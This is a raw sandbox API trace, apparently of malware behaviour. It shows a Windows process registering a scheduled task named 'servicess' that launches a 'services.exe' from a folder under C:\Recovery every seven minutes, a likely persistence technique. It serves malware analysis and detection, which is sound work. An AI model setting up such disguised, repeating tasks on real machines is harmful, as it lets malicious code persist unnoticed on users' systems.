_memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.582] lstrlenW (lpString="f") returned 1 [0059.582] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.582] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sd|") returned 4 [0059.582] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.582] lstrlenW (lpString="|sd|") returned 4 [0059.582] lstrlenW (lpString="|f|") returned 3 [0059.582] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0059.582] SetLastError (dwErrCode=0x490) [0059.582] lstrlenW (lpString="ed") returned 2 [0059.582] lstrlenW (lpString="ed") returned 2 [0059.582] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.582] lstrlenW (lpString="f") returned 1 [0059.582] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.583] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ed|") returned 4 [0059.583] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.583] lstrlenW (lpString="|ed|") returned 4 [0059.583] lstrlenW (lpString="|f|") returned 3 [0059.583] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0059.583] SetLastError (dwErrCode=0x490) [0059.583] lstrlenW (lpString="it") returned 2 [0059.583] lstrlenW (lpString="it") returned 2 [0059.583] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.583] lstrlenW (lpString="f") returned 1 [0059.583] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.583] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|it|") returned 4 [0059.583] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.583] lstrlenW (lpString="|it|") returned 4 [0059.583] lstrlenW (lpString="|f|") returned 3 [0059.583] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0059.583] SetLastError (dwErrCode=0x490) [0059.583] lstrlenW (lpString="et") returned 2 [0059.583] lstrlenW (lpString="et") returned 2 [0059.583] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.583] lstrlenW (lpString="f") returned 1 [0059.583] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.583] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|et|") returned 4 [0059.584] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.584] lstrlenW (lpString="|et|") returned 4 [0059.584] lstrlenW (lpString="|f|") returned 3 [0059.584] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0059.584] SetLastError (dwErrCode=0x490) [0059.584] lstrlenW (lpString="k") returned 1 [0059.584] lstrlenW (lpString="k") returned 1 [0059.584] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.584] lstrlenW (lpString="f") returned 1 [0059.584] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.584] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|k|") returned 3 [0059.584] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.584] lstrlenW (lpString="|k|") returned 3 [0059.584] lstrlenW (lpString="|f|") returned 3 [0059.584] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0059.584] SetLastError (dwErrCode=0x490) [0059.584] lstrlenW (lpString="du") returned 2 [0059.584] lstrlenW (lpString="du") returned 2 [0059.585] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.585] lstrlenW (lpString="f") returned 1 [0059.585] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.585] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|du|") returned 4 [0059.585] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.585] lstrlenW (lpString="|du|") returned 4 [0059.585] lstrlenW (lpString="|f|") returned 3 [0059.585] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0059.585] SetLastError (dwErrCode=0x490) [0059.585] lstrlenW (lpString="ri") returned 2 [0059.585] lstrlenW (lpString="ri") returned 2 [0059.585] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.585] lstrlenW (lpString="f") returned 1 [0059.585] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.585] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ri|") returned 4 [0059.585] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.585] lstrlenW (lpString="|ri|") returned 4 [0059.585] lstrlenW (lpString="|f|") returned 3 [0059.585] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0059.585] SetLastError (dwErrCode=0x490) [0059.585] lstrlenW (lpString="z") returned 1 [0059.585] lstrlenW (lpString="z") returned 1 [0059.585] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.585] lstrlenW (lpString="f") returned 1 [0059.585] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.586] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|z|") returned 3 [0059.586] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.586] lstrlenW (lpString="|z|") returned 3 [0059.586] lstrlenW (lpString="|f|") returned 3 [0059.586] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0059.586] SetLastError (dwErrCode=0x490) [0059.586] lstrlenW (lpString="f") returned 1 [0059.586] lstrlenW (lpString="f") returned 1 [0059.586] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.586] lstrlenW (lpString="f") returned 1 [0059.586] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.586] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.586] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.586] lstrlenW (lpString="|f|") returned 3 [0059.586] lstrlenW (lpString="|f|") returned 3 [0059.586] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0059.586] SetLastError (dwErrCode=0x0) [0059.586] SetLastError (dwErrCode=0x0) [0059.586] GetProcessHeap () returned 0x1b0000 [0059.586] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce80 [0059.586] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.586] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0059.587] lstrlenW (lpString="MINUTE") returned 6 [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd6d0 [0059.587] GetThreadLocale () returned 0x409 [0059.587] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0059.587] SetLastError (dwErrCode=0x0) [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x1fc) returned 0x1cc4c0 [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce50 [0059.587] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.587] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0059.587] lstrlenW (lpString="First") returned 5 [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xc) returned 0x1cd6f0 [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce20 [0059.587] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.587] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0059.587] lstrlenW (lpString="Second") returned 6 [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd710 [0059.587] GetProcessHeap () returned 0x1b0000 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccdf0 [0059.587] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.588] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0059.588] lstrlenW (lpString="Third") returned 5 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xc) returned 0x1cd730 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccdc0 [0059.588] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.588] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0059.588] lstrlenW (lpString="Fourth") returned 6 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd750 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd90 [0059.588] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.588] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0059.588] lstrlenW (lpString="Last") returned 4 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xa) returned 0x1cd770 [0059.588] lstrlenW (lpString="7") returned 1 [0059.588] _wtol (_String="7") returned 7 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd60 [0059.588] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.588] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0059.588] lstrlenW (lpString="First") returned 5 [0059.588] GetProcessHeap () returned 0x1b0000 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xc) returned 0x1cd790 [0059.589] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.589] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0059.589] lstrlenW (lpString="Second") returned 6 [0059.589] GetProcessHeap () returned 0x1b0000 [0059.589] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd7b0 [0059.589] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.589] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0059.589] lstrlenW (lpString="Third") returned 5 [0059.589] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.589] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0059.589] lstrlenW (lpString="Fourth") returned 6 [0059.589] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.589] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0059.589] lstrlenW (lpString="Last") returned 4 [0059.589] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c180, cchData=128 | out: lpLCData="0") returned 2 [0059.589] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.589] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0059.589] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6f0) returned 1 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6f0) returned 0xc [0059.590] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6f0 | out: hHeap=0x1b0000) returned 1 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x16) returned 0x1cd6f0 [0059.590] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c1a0, cchData=128 | out: lpLCData="0") returned 2 [0059.590] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.590] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0059.590] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd710) returned 1 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd710) returned 0xe [0059.590] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd710 | out: hHeap=0x1b0000) returned 1 [0059.590] GetProcessHeap () returned 0x1b0000 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x16) returned 0x1cd710 [0059.590] GetLocalTime (in: lpSystemTime=0x11c3d0 | out: lpSystemTime=0x11c3d0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2c, wMilliseconds=0xea)) [0059.590] lstrlenW (lpString="") returned 0 [0059.591] GetLocalTime (in: lpSystemTime=0x11cc88 | out: lpSystemTime=0x11cc88*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2c, wMilliseconds=0xea)) [0059.591] lstrlenW (lpString="") returned 0 [0059.591] lstrlenW (lpString="") returned 0 [0059.591] lstrlenW (lpString="") returned 0 [0059.591] lstrlenW (lpString="") returned 0 [0059.591] lstrlenW (lpString="7") returned 1 [0059.591] _wtol (_String="7") returned 7 [0059.591] lstrlenW (lpString="") returned 0 [0059.591] lstrlenW (lpString="") returned 0 [0059.591] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0059.615] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0059.699] CoCreateInstance (in: rclsid=0xff081ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff081ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11ca50 | out: ppv=0x11ca50*=0x2bdee0) returned 0x0 [0059.712] TaskScheduler:ITaskService:Connect (This=0x2bdee0, serverName=0x11cb30*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11caf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11cb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0059.773] TaskScheduler:IUnknown:AddRef (This=0x2bdee0) returned 0x2 [0059.773] TaskScheduler:ITaskService:GetFolder (in: This=0x2bdee0, Path=0x0, ppFolder=0x11cbe8 | out: ppFolder=0x11cbe8*=0x3c7db0) returned 0x0 [0059.775] TaskScheduler:ITaskService:NewTask (in: This=0x2bdee0, flags=0x0, ppDefinition=0x11cbe0 | out: ppDefinition=0x11cbe0*=0x3c7e00) returned 0x0 [0059.776] ITaskDefinition:get_Actions (in: This=0x3c7e00, ppActions=0x11cb60 | out: ppActions=0x11cb60*=0x3c7ec0) returned 0x0 [0059.776] IActionCollection:Create (in: This=0x3c7ec0, Type=0, ppAction=0x11cb80 | out: ppAction=0x11cb80*=0x3c66a0) returned 0x0 [0059.776] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.776] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.776] lstrlenW (lpString=" ") returned 1 [0059.776] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0059.776] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0059.776] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0059.777] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0059.778] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0059.779] IUnknown:Release (This=0x3c66a0) returned 0x1 [0059.779] IUnknown:Release (This=0x3c7ec0) returned 0x1 [0059.779] ITaskDefinition:get_Triggers (in: This=0x3c7e00, ppTriggers=0x11c6e0 | out: ppTriggers=0x11c6e0*=0x3c7f40) returned 0x0 [0059.779] ITriggerCollection:Create (in: This=0x3c7f40, Type=1, ppTrigger=0x11c6d8 | out: ppTrigger=0x11c6d8*=0x3c6710) returned 0x0 [0059.779] lstrlenW (lpString="7") returned 1 [0059.779] _vsnwprintf (in: _Buffer=0x11c660, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x11c658 | out: _Buffer="PT7M") returned 4 [0059.779] ITrigger:get_Repetition (in: This=0x3c6710, ppRepeat=0x11c6d0 | out: ppRepeat=0x11c6d0*=0x3c67a0) returned 0x0 [0059.779] IRepetitionPattern:put_Interval (This=0x3c67a0, Interval="PT7M") returned 0x0 [0059.779] IUnknown:Release (This=0x3c67a0) returned 0x1 [0059.779] _vsnwprintf (in: _Buffer=0x11c620, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11c5f8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0059.779] ITrigger:put_StartBoundary (This=0x3c6710, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0059.779] lstrlenW (lpString="") returned 0 [0059.779] lstrlenW (lpString="") returned 0 [0059.779] lstrlenW (lpString="") returned 0 [0059.779] lstrlenW (lpString="") returned 0 [0059.780] IUnknown:Release (This=0x3c6710) returned 0x1 [0059.780] IUnknown:Release (This=0x3c7f40) returned 0x1 [0059.780] ITaskDefinition:get_Settings (in: This=0x3c7e00, ppSettings=0x11cb80 | out: ppSettings=0x11cb80*=0x3c6480) returned 0x0 [0059.780] lstrlenW (lpString="") returned 0 [0059.780] IUnknown:Release (This=0x3c6480) returned 0x1 [0059.780] GetLocalTime (in: lpSystemTime=0x11ca38 | out: lpSystemTime=0x11ca38*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2c, wMilliseconds=0x1a5)) [0059.780] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0059.780] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0059.780] GetUserNameW (in: lpBuffer=0x11ca60, pcbBuffer=0x11ca48 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11ca48) returned 1 [0059.781] ITaskDefinition:get_RegistrationInfo (in: This=0x3c7e00, ppRegistrationInfo=0x11ca30 | out: ppRegistrationInfo=0x11ca30*=0x3c63c0) returned 0x0 [0059.781] IRegistrationInfo:put_Author (This=0x3c63c0, Author="") returned 0x0 [0059.781] _vsnwprintf (in: _Buffer=0x11ca60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11c9f8 | out: _Buffer="2023-09-19T17:16:44") returned 19 [0059.781] IRegistrationInfo:put_Date (This=0x3c63c0, Date="") returned 0x0 [0059.781] IUnknown:Release (This=0x3c63c0) returned 0x1 [0059.781] malloc (_Size=0x18) returned 0x3c6800 [0059.782] free (_Block=0x3c6800) [0059.782] lstrlenW (lpString="") returned 0 [0059.782] malloc (_Size=0x18) returned 0x3c6800 [0059.782] ITaskFolder:RegisterTaskDefinition (in: This=0x3c7db0, Path="servicess", pDefinition=0x3c7e00, flags=6, UserId=0x11ccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ebe0, varVal2=0xfe), LogonType=3, sddl=0x11ccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11cbf0 | out: ppTask=0x11cbf0*=0x3c69a0) returned 0x0 [0060.916] free (_Block=0x3c6800) [0060.916] _memicmp (_Buf1=0x1cbc00, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.916] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1cd410, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0060.916] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0060.916] GetProcessHeap () returned 0x1b0000 [0060.916] GetProcessHeap () returned 0x1b0000 [0060.916] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd730) returned 1 [0060.916] GetProcessHeap () returned 0x1b0000 [0060.916] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd730) returned 0xc [0060.916] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd730 | out: hHeap=0x1b0000) returned 1 [0060.916] GetProcessHeap () returned 